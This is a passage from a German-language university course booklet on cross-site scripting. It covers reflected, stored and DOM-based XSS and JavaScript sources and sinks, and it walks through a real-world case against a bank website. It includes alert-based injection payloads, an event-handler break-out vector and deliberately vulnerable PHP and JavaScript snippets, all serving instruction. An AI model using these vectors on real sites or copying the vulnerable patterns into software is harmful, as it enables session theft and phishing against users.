Locator) mit diesem schädlichen Skript präparieren und dann dem Opfer zukommen lassen. Die Nicht-Persistenz dieses Angriffs kann man bei erneutem Aufruf der Seite, allerdings ohne der manipulierten URL feststellen. Denn bei dieser Variante des Cross-Site-Scripting beinhaltet nicht die Seite an sich den Schadcode, sondern die präparierte URL, welche mittels der verwundbaren Seite den Schadcode ausführt. Mit folgender Eingabe in ein Eingabefeld kann man eine Seite auf die Verwundbarkeit von Cross-Site-Scripting testen (ohne Berücksichtigung auf mögliche Schutzmechanismen): Quelltext 2.1 < s c r i p t type= " t e x t / j a v a s c r i p t " > a l e r t ( " XSS␣ i s t ␣ moeglich " ) ; </ s c r i p t > Wenn der Server die Eingabe nicht überprüft und die Ausgabe nicht kodiert, dann wird in diesem Fall ein kleines Warnfenster mit einer Meldung ausgegeben. Somit kommt man zu der Schlussfolgerung, dass mittels Benutzereingaben HTML- und JavaScript-Injektionen möglich sind. So eine gegen XSS-anfällige Website könnte im Groben wie folgt aussehen: Quelltext 2.2 <html> <head>< t i t l e > I c h bin gegen XSS a n f a e l l i g </ t i t l e ></head> <body> <?php echo $_GET [ ’ eingabe ’ ] ; ?> </body> </html> Dieser Code wird als website.php gespeichert PHP-Kurs.com. In diesem Beispiel wird über den GET Parameter eingabe, aus der URL eine Nachricht abgerufen. So wird aus dieser URL http://example.com/website.php?eingabe=test, das Wort test ausgelesen und auf der Website angezeigt. Statt test hätte man den Parameter auch mit einem JavaScript-Code initialisieren können. Seite 18 Studienbrief 2 Cross Site Scripting Dieses Beispiel sieht einer Suchfunktion hinsichtlich der Ein- und Ausgabe ähnlich. Eine Anfrage einer Suchfunktion könnte so aussehen: http://example.com/suche.php?text=Suchbegriff Die übergebenen Suchbegriffe werden von der serverseitigen Webapplikation ungeprüft ausgegeben. Ergebnis: Sie suchten nach: Suchbegriff Hätte man nun folgendes als Suchbegriff verwendet: <script type="text/javascript"> alert("XSS ist moeglich"); </script> Dann sollte man folgendes Ergebnis erhalten: Sie suchten nach: <script type="text/javascript"> alert("XSS ist moeglich"); </script> Statt des eingegebenen Suchbegriffs, sieht man allerdings ein Warnfenster als Ergebnis. Persistentes XSS Abb. 2.4: Persistentes XSS (Rütten, 2007) Persistentes bzw. beständiges Cross-Site-Scripting unterscheidet sich im Gegensatz zum reflektierten Cross-Site-Scripting lediglich darin, dass der JavaScriptSchadcode nicht flüchtig, sondern dauerhaft auf dem Zielserver, wie in einer Datenbank gespeichert und ausgegeben wird vulnerability-lab.com Prof. Dr. Jörg 2.2 Ursachen Schwenk OWASP Foundation [c] BSI. Dies kann bei Forum- oder Gästebucheinträge der Fall sein, da solche Beiträge in einer Datenbank dauerhaft gespeichert und abgerufen werden. Nachdem man den Schadcode in der verwundbaren Website injiziert hat, werden alle Besucher dieser Website mit diesem Problem konfrontiert. Dieser Angriffstyp ist also immer möglich, wenn die Webanwendung Benutzereingaben serverseitig speichert und diese später ohne Überprüfung mit eventueller Filterung bzw. geeignete Kodierung ausgibt. So eine gegen XSS-anfällige Website könnte im Groben wie folgt aussehen: Quelltext 2.3 <?php $p = $_GET [ ’ t e x t ’ ] ; $handle = fopen ( " d a t e i . t x t " , "w" ) ; f p u t s ( $handle , $p ) ; f c l o s e ( $handle ) ; ?> Hier wird über den Parameter text etwas in datei.txt abgespeichert. Quelltext 2.4 <?php $handle = fopen ( " d a t e i . t x t " , " r " ) ; $p = f g e t s ( $handle , 1 0 0 0 ) ; f c l o s e ( $handle ) ; echo $p ; ?> Jetzt wird der Inhalt der Datei ausgelesen und ohne Prüfung auf der Seite ausgegeben PHP-Kurs.com. DOM-basiertes XSS DOM-basierte Cross-Site-Scripting ähneln den Ursachen der Stored- und Reflected-XSS, haben jedoch einen grundlegenden Unterschied zu beiden. Bei der Stored- und Reflected-XSS befindet sich der Fehler im serverseitig laufenden Code. In den meisten Fällen sind dies PHP-Applikationen, denen serverseitig Validierungs- und Filterungsmaßnahmen fehlen. Im Gegensatz dazu befindet sich die Ursache für die DOM-XSS Schwachstelle im klientseitig laufenden Code. Meist handelt es sich hierbei um Interkationen zwischen dem Benutzer und der Seite, die direkte Eingaben des Nutzers benötigen oder als Quelle weitere Elemente, wie die URL oder den Referrer, verwenden. Da der Fehler beim klientseitigen Code liegt und zusätzlich keine weiteren Requests an den Server geschickt werden müssen, spricht man hier auch von local XSS. Die DOM-basierte XSS-Schwachstelle lässt sich in zwei Unterkategorien aufteilen, Stored- und Reflected DOM-XSS. Diese Form der Unterscheidung der DOMbasierten XSS resultiert daraus, ob die Eingabe des Nutzers zunächst (semi)persistent abgespeichert wurde oder die Eingabe aus einer reflektiven Quelle, wie der Addressleiste stammt. Seite 19 Seite 20 Abb. 2.5: DOM-XSS Kategorien und Beispielquellen Studienbrief 2 Cross Site Scripting Stored DOM-XSS Reflected DOM-XSS localStorage, sessionStorage location.href, document.referrer, Input durch prompt() Zu der Reflected DOM-XSS gehören Szenarien, bei denen ein klientseitig laufendes Skript auf Parameter innerhalb der URL zugreift und für die Ausgabe beziehungsweise für Funktionen auf unsichere Weise verwendet, wodurch das Ausführen von JavaScript-Code oder das Nachladen von externen Skripten ermöglicht wird. Des weiteren kann man Szenarien zu dieser Kategorie zählen, bei der die Quelle eine Eingabe eines Nutzers über die JavaScript-Funktion prompt() ist oder der Referrer der Anfrage verwendet wird. Bei dieser Variante von XSS muss im Gegensatz zu den normalen Reflected XSS kein erneuter Request an der Server gesendet werden. Ein Link-Element kann unter anderem einen href und ein nameAttribut haben. Das href Attribut ist da, um auf eine URL oder auf ein anderes Link-Element innerhalb der Seite zu verlinken. Das Verlinken innerhalb einer Seite geschieht duch die Nutzung des name-Attributs. Wenn eine URL am Ende eine Raute mit einem String hat, zum Beispiel, /index.php#einleitung, dann springt der Browser auf die Stelle in der Seite, an der ein Link-Element mit dem name-Attribut einleitung ist. Diese Referenzierung, innerhalb einer Seite, benötigt keinen erneuten Request des Browsers an den Server und lässt sich bei einer Reflected DOMXSS leicht ausnutzen. Dadurch ist es serverseitigen Sicherheitsmaßnahmen, wie zum Beispiel Intrusion Detection Systems oder Web Application Firewalls nicht möglich, diesen Angriff zu erkennen. Genau wie bei der normalen Variante von XSS-Schwachstellen gibt es auch bei der DOM-XSS Schwachstelle eine persistente Art von DOM-XSS. Persistent heißt hier, dass Daten zunächst in einer Art Speicher abgelegt werden um im folgenden für eine Ausgabe wieder verwendet zu werden. Zu diesen Speichern gehören die Cookies, der Web Storage und die IndexedDB. Die Cookies sind der älteste von diesen dreien und bieten die Möglichkeit der Speicherung von Werten. Größtenteils befinden sich hier Authentifizierungsdaten eines Nutzers und seiner Session. Im Jahre 2013 veröffentlichte das W3C einen Vorschlag für die Spezifikation der Web Storage API W3C [e]. Der Web Storage bietet den Entwicklern die Möglichkeit strukturiert Daten im Browser des Nutzers zu speichern. Manche Seiten benutzen diesen Storage um sogenannte SuperCookies abzulegen, welche nicht bei jedem Request mitgesendet werden müssen, wie es bei normalen Cookies der Fall ist. Wenn Informationen eines Nutzers in diesen Speicher abgelegt und später in einer Ausgabe oder Funktion wieder verwendet werden, so kann dies zu einer Stored DOM-XSS-Schwachstelle führen. Zum Beispiel kann eine clientseitige Skriptsprache wie JavaScript einen Argumentwert aus der URL lesen Webmasterpro.de [a]: http://example.com/test.html?arg=Argumentwert Dieser Argumentwert wird dann ungeprüft in das HTML-Dokument eingefügt. Das Ergebnis kann wie folgt aussehen: Sie haben an die URL diesen String angehängt: Argumentwert Als Argumentwert kann man natürlich auch einen JavaScript-Code verwenden. Die URL würde dann wie folgt aussehen. http://example.com/foobar.html?arg= <script type="text/javascript">alert("Verwundbar!"); </script> 2.3 Kritische Quellen und Senken 2.3 Kritische Quellen und Senken Die Problematik der DOM-XSS lässt sich erst lösen, wenn bekannt ist, in welchem Kontext Schwachstellen entstehen können. Dazu muss ein Programmierer zunächst verstehen, welche Quellen und Senken in JavaScript existieren und wie weit diese eine Validierung oder Filterung benötigen bevor sie eingelesen oder ausgegeben werden. Wie bei echten Flüssen, gibt es auch bei Datenflüssen Quellen und Senken. Quellen sind Stellen, an denen eine Anwendung eine Eingabe eines Nutzers übernimmt. Die Eingabe kann von einem Angreifer direkt oder indirekt kontrolliert werden. Senken sind hingegen Stellen, an denen diese Eingaben ausgegben werden und in einer schädlichen Art verwendet werden können. Quellen In JavaScript befinden sich mehrere Objekte, die als Informationsquellen verwendet werden können. Im Folgenden werden einige dieser Quellen aufgelistet. Adressleiste Um zunächst eine Seite anzusteuern benutzt ein Nutzer die Addressleiste seines Browsers. Die Adressleiste beinhaltet die Adresse selber, GET-Parameter und Ankerverweise durch die Nutzung des Rautesymbols. JavaScript bietet uns einige Objekte um auf diese Adresse als String zuzugreifen und diesen für weitere Operationen zu verwenden. Die Adressleiste lässt sich durch einen Nutzer und einen Angreifer auf einfache Weise manipulieren. Zusätzlich lässt sich eine manipulierte Adresse auch leicht an andere Nutzer schicken um diese anzugreifen. Um die Funktion und Ausgabe dieser Objekte zu verdeutlichen, erstellen wir ein kleine Skript, welches jeweils diese Objekte in einer Seite ausgibt. Danach rufen wir die Seite mit dem Skript unter folgender URL auf: http://site.local/ index.php?page=home#intro. In Tabelle 2.1 sehen wir, was die Objekte unter dieser URL ausgegeben haben. Diese Tests wurden jeweils unter Firefox in der Version 30.0 und Chromium in der Version 35 durchgeführt. Angriffe, die Location-Quellen verwenden, lassen sich nicht leicht umsetzen. HTML-Metazeichen innerhalb der URL, wie zum Beispiel <und >, werden nur URL enkodiert ausgegeben. Jedoch gibt es auch hier Ausnahmen, bei denen, trotz dieser Filterung, Angriffe möglich sind. Hierauf gehen wir im Kapitel Beispiele ein. Quelltext 2.5: Ausgabe von Location Objekten 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <script> document . w r i t e ( " document . l o c a t i o n : ␣ " ) ; document . w r i t e l n ( document . l o c a t i o n ) ; document . w r i t e ( " <br >␣document . l o c a t i o n . hash : ␣ " ) ; document . w r i t e l n ( document . l o c a t i o n . hash ) ; document . w r i t e ( " <br >␣document . l o c a t i o n . h r e f : ␣ " ) ; document . w r i t e l n ( document . l o c a t i o n . h r e f ) ; document . w r i t e ( " <br >␣document . l o c a t i o n . s e a r c h : ␣ " ) ; document . w r i t e l n ( document . l o c a t i o n . s e a r c h ) ; document . w r i t e ( " <br >␣document . l o c a t i o n . pathname : ␣ " ) ; document . w r i t e l n ( document . l o c a t i o n . pathname ) ; document . w r i t e ( " <br >␣document . URL : ␣ " ) ; document . w r i t e l n ( document . URL) ; document . w r i t e ( " <br >␣document . documentURI : ␣ " ) ; document . w r i t e l n ( document . documentURI ) ; Seite 21 Seite 22 Studienbrief 2 Cross Site Scripting Objekt Tabelle 2.1: Adressquellen (document.)location (document.)location.hash (document.)location.href (document.)location.search (document.)location.pathname document.URL document.documentURI document.baseURI 16 17 18 Ausgabe http://site.local/index.php?page=home#intro #intro http://site.local/index.php?page=home#intro ?page=home /index.php http://site.local/index.php?page=home#intro http://site.local/index.php?page=home#intro http://site.local/index.php?page=home#intro document . w r i t e ( " <br >␣document . baseURI : ␣ " ) ; document . w r i t e l n ( document . baseURI ) ; </ s c r i p t > Cookie Ein Cookie wird meist dazu benutzt, um Authentifizierungsdaten eines Nutzers oder einer Session zu speichern, damit sich ein Nutzer nicht bei einem erneuten Besuch einer Seite anmelden muss. In diesem Speicher können beliebige Daten in Form von Strings gespeichert werden. Der Zugriff auf diesen Cookie erfolgt über das Objekt document.cookie. Referrer Der Referrer beinhaltet die URL, über welche die aktuelle Seite aufgerufen wurde. Dieser String befindet sich zwar im HTTP-Header aber per JavaScript, über das Objekt document.referrer, darauf zugegeriffen werden. Web Storage Der WebStorage ist eine API, die es erlaubt Informationen strukturiert innerhalb des Browsers eines Nutzers zu speichern. Dabei unterscheiden wir zwischen dem sessionStorage, der sessionbasiert diese Information speichert und dem localStorage, der Informationen dauerhaft speichert. Diese Werte können jedoch von einem Nutzer manipuliert und durch eigene Werte ersetzt werden. Dadurch kann es zu unerwartetem Verhalten innerhalb der JavaScript-Anwendung kommen und je nach Ausgabe ermöglicht werden eine sogenannte Stored DOM-XSS Schwachstelle auszunutzen. Um Werte in den sessionStorage oder localStorage zu speichern beziehungsweise zu lesen, stellen die beiden Objekte zwei Funktionen zu Verfügung. Mit setItem(Titel, Eingabe) wird unter dem Keyword Titel der String Eingabe gespeichert. Um nun diese Werte wieder aus einem der beiden Speicher auszulesen, benutzen wir die Funktion getItem("Titel"). IndexedDB Es gibt noch eine weitere Möglichkeit für die clientseitige Speicherung von strukturierten Daten. Hierzu wird die IndexedDB API verwendet, welche im Gegensatz zur Web Storage API, auch für größere Mengen von Daten gedacht ist und Daten innerhalb von Datenbanken abspeichert. Der Zugriff auf diese Daten innerhalb der Datenbank erfolgt mit get(index) und kann durch die Verwendung in einer Senke zu einer DOM-XSS führen. 2.3 Kritische Quellen und Senken Senken In diesem Abschnitt möchten wir uns auf die möglichen Senken in JavaScript konzentrieren, durch welche wir es schaffen eigenen Code auszuführen. JavaScript Execution eval() Die Methode eval() in JavaScript, erlaubt es uns ein Argument als String zu übergeben, welches dann direkt ausgeführt wird. Wenn eine Nutzereingabe konkatiniert oder direkt als Argument verwendet wird, so kann dieser Nutzer mit dieser Eingabe auch eigenen Code ausführen. Quelltext 2.6 e v a l ( " J a v a S c r i p t C o d e " +NutzerEingabe ) function() Eine Funktionsdeklarierung kann auch als Angriffvektor verwendet werden, falls es eine Nutzereingabe mit einbindet. Diese Funktion muss jedoch auch von einer anderen Instanz innerhalb des existierenden Codes ausgeführt werden. Das letzte Argument ist jeweils der Teil, der vom Interpreter als Code evaluiert wird. Quelltext 2.7 f u n c t i o n ( " J a v a S c r i p t C o d e " +NutzerEingabe ) ; Bei mehreren Argumenten: Quelltext 2.8 f u n c t i o n ( " Arg1 " , " Arg2 " , J a v a S c r i p t C o d e " +NutzerEingabe ) ; setTimeout() und setInterval() Die Methode setTimeout() führt eine Funktion oder einen Code nach einer bestimmten Zeit (in ms) aus, der als zweites Argument als Integer übergeben wird. Diese Methode führt die Funktion, nur einmal. Will man eine Funktion wiederholt aufrufen, so kann man die Methode setInterval() nutzen. Quelltext 2.9 setTimeout ( " J a v a S c r i p t C o d e " +NutzerEingabe , ZEIT ) ; Quelltext 2.10 s e t I n t e r v a l ( " J a v a S c r i p t C o d e " +NutzerEingabe , ZEIT ) ; Seite 23 Seite 24 Studienbrief 2 Cross Site Scripting ScriptElement.src und ScriptElement.textContent Script-Elemente sind da, um JavaScript-Code in eine HTML-Seite einzubinden. Die Einbindung kann in zwei Varianten erfolgen. Entweder man verändert den Inhalt dieses Script-Blocks mit Hilfe von textContent oder man verändert das srcAttribut dieses Elements. Wenn eine Nutzereingabe mit in die Veränderung des src-Attributs einfließt, so darf dieses Attribut keinen Prefix zu der Eingabe des Nutzers haben, da es sonst nicht möglich ist auf ein externes Skript zu verweisen. Quelltext 2.11 S c r i p t E l e m e n t . s r c = NutzerEingabe ; Bei textContent ist dies jedoch egal, da wir Quelltext 2.12 S c r i p t E l e m e n t . t e x t C o n t e n t = " J a v a S c r i p t C o d e " +NutzerEingabe ; JavaScript Event-Handler Event-Handler in HTML erlauben es JavaScript-Code bei bestimmten Ereignissen auszuführen. Es gibt eine bestimmte Anzahl von verschiedenen Event-Handlern, die man je nach HTML-Element verwenden kann. Die Deklarierung der erfolgen als Attribut des Elements. Diese Attribute lassen sich auch direkt über JavaScript verändern. Wenn wir dort Nutzereingaben zulassen, so kann auch diese vom Interpreter evaluiert werden. Quelltext 2.13 B e l i e b i g e s E l e m e n t . o n c l i c k = " J a v a S c r i p t C o d e " +NutzerEingabe ; B e l i e b i g e s E l e m e n t . o n e r r o r = " J a v a S c r i p t C o d e " +NutzerEingabe ; B e l i e b i g e s E l e m e n t . onmouseover = " J a v a S c r i p t C o d e " +NutzerEingabe ; HTML Manipulation JavaScript bietet die Möglichkeit Objekte innerhalb des DOM zu manipulieren, wodurch wir direkt Inhalte und Attribute von Elementen lesen und verändern können. Im Folgenden sind einige Attribute aufgelistet, durch deren Änderung wir direkt die Inhalte einer Seite verändern können. .innerHTML() und .outerHTML() Die beiden Attribute innerHTML und outerHTML ähneln sich von ihrer Funktionalität, haben aber einen grundlegenden Unterschied. Mit dem Attribut innerHTML eines Elements können wir den Inhalt innerhalb dieses HTML-Elementes verändern. Im Gegensatz dazu führt die Manipulation des Attribut outerHTML dazu, dass das komplette Element inklusive Inhalt ersetzt wird. Quelltext 2.14 HTMLElement . innerHTML = "HTML␣ S t r i n g " +NutzerEingabe ; HTMLElement . outerHTML = " <p>HTML␣ S t r i n g " +NutzerEingabe+ " </p> " ; 2.4 Beispiel: Reflected XSS document.write() und document.writeln() Die Methoden document.write() und document.writeln() erlauben es uns frei in einem HTML-Dokument eine Ausgabe vorzunehmen. Der Unterschied zwischen beiden liegt nur darin, dass document.writeln() einen Absatz (\n) nach der Ausgabe hinzufügt. Quelltext 2.15 document . w r i t e = "HTML␣ S t r i n g " +NutzerEingabe ; document . w r i t e l n = "HTML␣ S t r i n g " +NutzerEingabe ; Range.createContextualFragment() Die Methode Range.createContextualFragment() ermöglicht, in Verbindung mit appendChild(), das hinzufügen weiteren Inhalts auf eine Seite. Quelltext 2.16 range . c r e a t e C o n t e x t u a l F r a g m e n t ( "HTML␣ S t r i n g " + NutzerEingabe ) ; 2.4 Beispiel: Reflected XSS Anhand dieses Beispiels soll nochmal Cross-Site-Scripting in der Praxis verdeutlicht werden Jürgen Schmidt [2007]. Weiterhin zeigt dieses Beispiel, dass sogar wichtige und vermeintlich sichere Websites gegen Cross-Site-Scripting anfällig sein können. Denn oft wird fälschlicherweise angenommen, dass eine SSL/TLSVerbindung genügend zur Sicherheit beiträgt. Dieses Beispiel überzeugt vom Gegenteil. Die wichtigste Voraussetzung für Cross-Site-Scripting Angriffe ist natürlich, dass auf der anzugreifende Seite Möglichkeiten zu Benutzereingaben existieren. In diesem Fall ist es eine Suchfunktion. Daraus kann man schließen, dass dieser Cross-Site-Scripting Angriff reflektierend bzw. nicht-persistent ist. Denn bei einer Suchfunktion, wird meistens der vom Benutzer eingegebene Suchbegriff bei der Ausgabe der Ergebnisse mit ausgeliefert. Da diese Ausgabe nur einmalig bei der Auflistung der Suchergebnisse stattfindet, existiert diese Ausgabe auch nur temporär auf dem Server. Als nächstes überprüft man das Eingabefeld auf die Verwundbarkeit von CrossSite-Scripting Angriffe. Wie in den vorherigen Kapiteln bereits erklärt, muss man hier feststellen, ob die Benutzereingabe ungeprüft angenommen wird und ob diese ungefiltert bzw. unkodiert ausgegeben wird. Im leichtesten Fall kann man dies mit einer einfachen HTML-Befehlszeile überprüfen. Damit will man herausfinden, ob man die Website mittels eingeschleusten HTML-Befehlen, welche möglichst ungefiltert ausgegeben werden müssen, manipulieren kann oder nicht. Noch fataler wird es, wenn auch die Injektion von JavaScript möglich ist, denn dann ist die letzte Voraussetzung für Cross-SiteScripting erfüllt. In diesem Beispiel hier wird folgendes als Eingabe für das Suchfeld verwendet: "><h1>heisec was here</h1> Jetzt stellt sich nun die Frage, warum genau diese Zeichenkette verwendet wurde. Dies hat mit dem Eingabefeld zu tun. Seite 25 Seite 26 Studienbrief 2 Cross Site Scripting Eine Texteingabe kann man in HTML wie folgt realisieren Ulrike Haessler [2013]: <input type="text" name="feld1" value="" ... > (type - Art des Eingabefelds; name - identifiziert das Feld in der Anwendung; value - Angezeigter Wert) (In einigen HTML-Versionen muss das <input>-Tag noch von einem <form>Tag eingeschlossen werden) Mit dem Attribut value kann man also das Texteingabefeld mit einem Wert belegen. Meistens ist dieses Attribut aber leer, also value="" . Dies liegt daran, dass ein vorbelegter Wert in den meisten Anwendungen wenig Sinn macht. Die einzige Ausnahme, bei der es Sinn macht ist: Das Eingabefeld mit der zuletzt getätigten Eingabe vorzubelegen (um so womöglich Tippfehler für eine erneute Anfrage zu korrigieren). In dem aktuellen Beispiel handelt es sich um eine Suchfunktion. Man kann hierbei davon ausgehen, dass die Eingabe als vorbelegter Wert für das Eingabefeld bei der neu-generierten Antwortseite mit den Suchergebnissen verwendet wird. Jetzt kommen wir auf die Frage zurück warum speziell diese Zeichenkette "><h1>heisec was here</h1> als Eingabe verwendet wurde. Wenn man genau hinsieht, kann man folgendes noch erkennen: "> Diese kurze Zeichenkette kommt dann in einem HTML-Dokument vor, wenn ein HTML-Tag und ein dazugehöriges (als letztes) Attribut zu Ende definiert wird bzw. terminiert OWASP Foundation [b]. Wenn man jetzt die ganze Zeichenkette als Eingabe verwendet, dann sollte man in der Antwortseite mit den Suchergebnissen das Texteingabefeld mit dem Suchbegriff als vorbelegte Eingabe sehen. Dies trifft allerdings hier nicht zu, denn in HTML würde die Zeile mit dem Eingabefeld in der Antwortseite wie folgt aussehen: <input type="text" name="irgendeinName" value="“> <h1>heisec was here</h1>” size="17" maxlength="64" onblur="if(this.value.length==0)this.value=’Stadt oder PLZ’;" onfocus="this.value=” " > Die kurze Zeichenkette "> bewirkt, dass der <input>-Tag vorzeitig terminiert wird. Das heißt, alles was danach folgt wird als Text von dem Browser interpretiert und ausgegeben. Der unterstrichene Teil markiert das manipulierte Eingabefeld (mit weit aus wenigeren Attributen). Der rote Teil markiert die gefährliche Eingabe, der restliche Teil der Zeile, welcher größtenteils aus den Attributen des ursprünglichen Eingabefelds besteht, wird als Text interpretiert. Denn alles was nicht passend in spitzen Klammern eingeschlossen < > ist, wird als Text interpretiert. In diesem Fall wird noch das <h1>-Tag von der Webapplikation herausgefiltert. Es hat folglich den Anschein, dass hier einige Eingaben gezielt blockiert werden. 2.4 Beispiel: Reflected XSS Seite 27 Als Ausgabe erhält man nun letztendlich folgendes: Abb. 2.6: XSS Ausgabe (Schmidt, 2007) Das war bis jetzt noch relativ harmlos. Bei weiteren Überprüfungen stellt man allerdings fest, dass auch das <script>-Tag blockiert wird. Die naive Variante des Cross-Site-Scripting mit dem <script>-Tag ist also nicht möglich. Jedoch hat der Webentwickler nicht ausreichend bedacht, dass es auch andere Methoden der Einbindung von JavaScript existieren. Die Lösung steht sogar schon in dem HTML-Code des Eingabefelds. Wenn man erneut diesen HTML-Code betrachtet,erkennt man, dass das Eingabefeld sich spezielle Attribute zu Nutze macht. Es verwendet Event-Handler, die bei einem bestimmten Ereignis ein Skript ausführt. Man kann folglich die Skriptinjektion mittels eines Event-Handlers durchführen. Folgende Attribute bzw. Event-Handler wären hierfür geeignet OWASP Foundation [d] SELFHTML [b]: onblur (beim Verlassen) onchange (bei erfolgter Änderung) onclick (beim Anklicken) ondblclick (bei doppeltem Anklicken) onfocus (beim Aktivieren) onmousedown (bei gedrückter Maustaste) onmousemove (bei weiterbewegter Maus) onmouseout (beim Verlassen des Elements mit der Maus) onmouseover (beim Überfahren des Elements mit der Maus) onmouseup (bei losgelassener Maustaste) onreset (beim Zurücksetzen des Formulars) onselect (beim Selektieren von Text) In dem aktuellen Beispiel hat man sich für onfocus entschieden. Dieser EventHandler reagiert, sobald das Eingabefeld fokussiert bzw. aktiviert wird (z.B. mit Mausklick oder Tabulator). Der Angriffsvektor lautet wie folgt: " onfocus="alert(’XSS’);" Besonders wichtig ist das erste Doppelapostroph. Damit wird die Wertzuweisung des Attributs value terminiert. Danach kann man beliebig viele Attribute einschleusen. In diesem Fall ein Event-Handler, dass mit einem JavaScript-Code reagiert. Die HTML Zeile sieht nach der Injektion wie folgt aus: <input type="text" name="irgendeinName" value="" onfocus="alert(’XSS’); " " size="17" maxlength="64" onblur="if(this.value.length==0)this.value=’Stadt oder PLZ’;önfocus="this.value=” "> Seite 28 Studienbrief 2 Cross Site Scripting (Dieser Angriffsvektor sollte genauso gut funktionieren: " onfocus="alert(’XSS’); (ohne das letzte Doppelapostroph)) Nachdem die Eingabe mit dem Angriffsvektor abgeschickt wurde, generiert der Server eine HTML-Seite als Antwort auf die Anfrage. Die Antwortseite meldet 0 Suchergebnisse und enthält nach wie vor das Eingabefeld für die Suchbegriffe. Das Eingabefeld ist dieses Mal leer, da das Attribut value keinem Wert zugewiesen wurde. Sonst geschieht erst mal nichts. Sobald man aber nun das Eingabefeld aktiviert bzw. fokussiert, taucht ein Warnfenster mit der Nachricht XSS auf. Dies ist der Beweis, dass diese Suchfunktion gegen Cross-Site-Scripting verwundbar ist und dass der verwendete Angriffsvektor geeignet ist. Demnach kann man JavaScript im Kontext dieser Website (http://seb-bank.de) ausführen. Abb. 2.7: XSS Ausgabe (Schmidt, 2007) Die besonders kritischen Applikationen laufen allerdings über HTTPS und unter dem eigenen Domainnamen ssl.seb.de . Der Same Origin Policy nach ist es jedoch nicht möglich mittels Skripte, die über die Cross-Site-Scripting Lücke in der http://seb-bank.de Seite eingeschleust wurden, auf der relativ sicheren https://ssl.seb.de Seite zu zugreifen. Denn es stimmen weder Protokoll noch Domain überein. Allerdings weist auch diese kryptografisch gesicherte Website dieselbe CrossSite-Scripting Lücke auf. Dies beweist, dass kritische Webapplikationen weit aus mehr als nur kryptografische Sicherheitsdienste benötigen. Der soeben vorgestellte Angriff scheint an dieser Stelle noch ziemlich unspektakulär, da mit dem injizierten Skript nur ein Warnfenster aufgerufen wurde. Dies diente allerdings nur zum Demonstrationszweck. Dies ist auch eines der Gründe, warum Cross-Site-Scripting immer noch von vielen unterschätzt wird. Die Konsequenzen eines Cross-Site-Scripting Angriffs können verheerend sein. Da es allerdings bei diesem Beispiel um nicht-persistentes Cross-Site-Scripting handelt, erfordert der gesamte Angriff auch Fähigkeiten zur zwischenmenschlicher Beeinflußung. Beim nicht-persistenten Cross-Site-Scripting wird der injizierte Schadcode nicht auf dem Server gespeichert. D.h. also, dass das Opfer selbst im übertragenem 2.5 Beispiel: DOM-XSS Sinne den Angriff ausführen muss. Der Angreifer präpariert die URL der verwundbaren Website mit dem Schadcode, welches mittels der Cross-Site-Scripting Lücke im Kontext der Website ausgeführt werden soll. Danach muss der Angreifer das Opfer davon überzeugen diese URL im Browser aufzurufen. Sobald die URL im Browser aufgerufen wird, wird das bösartige Skript ausgeführt. Eines der beliebtesten Angriffe mit Cross-Site-Scripting ist der Diebstahl von Session-Cookies. Dieser Angriff erfordert kaum eine Interaktion seitens des Opfers. Dieser muss lediglich die URL aufrufen, und das Skript für den Diebstahl von Session-Cookies wird ausgeführt. Beim Phishing sieht es schon etwas anders aus. Da muss man zusätzlich noch das Opfer dazu verleiten sich auf der Website, welche mit der präparierten URL aufgerufen wurde, über ein manipuliertes Anmeldeformular einzuloggen. Zumindest haben Phishing-Angriffe auf Basis von Cross-SiteScripting eine höhere Erfolgschance als herkömmliche Phishing-Angriffe, welche über gefälschte Websitekopien durchgeführt werden. Die Kombination mit CrossSite-Scripting scheint für das Opfer vertrauenswürdiger, da bei dieser Variante die original Website dazu verwendet wird und somit auch die richtige Domain in der URL angezeigt wird. 2.5 Beispiel: DOM-XSS In diesem Abschnitt werden wir Beispiele erläutern, bei denen Quellen und Senken auf eine unsichere Weise verwendet werden. Zusätzlich werden wir eine alte DOM-XSS Schwachstelle auf Google zeigen, die es einem Angreifer ermöglicht die Identität eines Opfers zu stehlen. Stored DOM-XSS Eine persistente DOM-XSS Attacke ist dadurch gekennzeichnet, dass der Payload eines Angreifers klientseitig zunächst gespeichert wird und in folgenden Aufrufen aus diesem Speicher herausgelesen wird. Im Folgenden ist eine Beispieldokument zu sehen, in der eine DOM-basierte XSS Schwachstelle zu finden ist. Quelltext 2.17: Stored DOM-XSS (localStorage) 1 2 3 4 5 6 7 8 f u n c t i o n set_name ( ) { var your_name=prompt ( " B i t t e ␣Vornamen␣ eingeben : " ) ; l o c a l S t o r a g e . s e t I t e m ( " name_storage " , your_name ) ; } f u n c t i o n get_name ( ) { var c o n t e n t _ b o x = document . getElementById ( " c o n t e n t " ) ; c o n t e n t _ b o x . innerHTML = l o c a l S t o r a g e . g e t I t e m ( " name_storage " ) ; } Der JavaScript-Code beinhaltet zwei Funktionen, von denen eine die Eingabe vom Benutzer annimmt und diese Eingabe in den localStorage mit der Funktion set_name speichert. Danach kann man mit der Funktion get_name diesen Wert wieder auslesen und auf der Seite ausgeben. Während diesen Vorgängen wird keine erneute Verbindung zum Server aufgebaut und alle Funktionalitäten finden nur clientseitig statt. Der WebStorage ist damit unsere Quelle. Als Senke wird hier das Attribut innerHTML benutzt. Es werden keine Prüfungen vor der Speicherung der Eingabe, noch Filter vor der Ausgabe durchgeführt, wodurch es uns möglich ist, HTML-Metazeichen und dadurch auch JavaScript-Code einzuschleusen und auszuführen. Diese Art von Angriff lässt sich in der Realität jedoch schwer umsetzen, da es durch die Same-Origin-Policy einem Angreifer nicht möglicht ist, den Inhalt des Speichers eines Nutzers von extern zu verändern. Seite 29 Seite 30 Studienbrief 2 Cross Site Scripting Reflected DOM-XSS Als nächstes möchten wir ein Beispiel für eine Reflected DOM-XSS Schwachstelle vorstellen. Reflected DOM-XSS Schwachstellen, die als Quelle die Adressleiste verwenden, sind eine größere Gefahr für Nutzer, weil ein Nutzer relativ leicht dazu gebracht werden kann, eine URL aufzurufen. In diesem Beispiel benutzen wir als Quelle document.location. Aus der Adressleiste wird der String nach “username=“ extrahiert und in eine Variable gespeichert. Diese Variable wird daraufhin in der Senke document.write wieder in einem Link ausgegeben. HTML-Metazeichen in der Adressleiste werden nur URL-enkodiert ausgegeben. Dadurch wäre es einem Angreifer in diesem Fall nicht möglich, aus dem Anchor-Element auszubrechen und neue Elemente zu erstellen. Da die Senke sich aber frei im href-Attribut des Anchor-Elements befindet, kann durch einfügen von “javacript:“ trotzdem JavaScript ausgeführt werden, da keine HTML-Metazeichen nötig sind. Diese Art von Angriff erfordert jedoch, dass das Opfer auf den Link klickt. Damit sehen wir hier ein Beispiel, bei dem die URL-enkodierung nicht geholfen hat. Ähnliche Beispiele, bei denen die 